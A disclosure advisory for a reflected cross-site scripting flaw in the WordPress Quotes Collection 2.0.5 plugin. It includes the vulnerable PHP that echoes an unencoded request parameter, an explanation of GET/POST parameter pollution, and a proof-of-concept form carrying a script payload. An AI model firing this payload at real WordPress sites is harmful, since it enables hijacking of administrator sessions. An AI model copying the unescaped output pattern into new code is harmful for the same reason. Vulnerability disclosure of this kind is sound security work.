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WordPress Quotes Collection 2.0.5 Cross Site Scripting

WordPress Quotes Collection 2.0.5 Cross Site Scripting
Posted Nov 8, 2016
Authored by Yorick Koster, Securify B.V.

WordPress Quotes Collection plugin version 2.0.5 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | bc366a974dcdbff135ba8c177ff78ff6

WordPress Quotes Collection 2.0.5 Cross Site Scripting

Change Mirror Download
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Cross-Site Scripting vulnerability in Quotes Collection WordPress Plugin
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Yorick Koster, July 2016

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Abstract
------------------------------------------------------------------------
A Cross-Site Scripting vulnerability was found in the Quotes Collection
WordPress Plugin. This issue allows an attacker to perform a wide
variety of actions, such as stealing Administrators' session tokens, or
performing arbitrary actions on their behalf. In order to exploit this
issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.

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OVE ID
------------------------------------------------------------------------
OVE-20160712-0015

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See also
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https://www.pluginvulnerabilities.com/2016/09/13/reflected-cross-site-scripting-xss-vulnerability-in-quotes-collection/

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Tested versions
------------------------------------------------------------------------
This issue was successfully tested on Quotes Collection WordPress Plugin
version 2.0.5.

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Fix
------------------------------------------------------------------------
There is currently no fix available.

------------------------------------------------------------------------
Details
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https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_quotes_collection_wordpress_plugin.html

The issue exists in the file class-quotes-collection-admin.php and is caused by the lack of output encoding on the page request parameter. The vulnerable code is listed below.

<form id="quotescollection" method="get">
<input type="hidden" name="page" value="<?php echo $_REQUEST['page']; ?>" />
<div class="list-header">
<?php echo $list_meta; ?>
<?php $quotes_list_table->search_box( __('Search', 'quotes-collection'), 'quotescollection'); ?>
</div>
<?php $quotes_list_table->display(); ?>
</form>

Normally, the page URL parameter is validated by WordPress, which prevents Cross-Site Scripting. However in this case the value of page is obtained from $_REQUEST, not from $_GET. This allows for parameter pollution where the attacker puts a benign page value in the URL and simultaneously submits a malicious page value as POST parameter.

Proof of concept

<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=quotes-collection" method="POST">
<input type="hidden" name="page" value=""<script>alert(document.cookie);</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.

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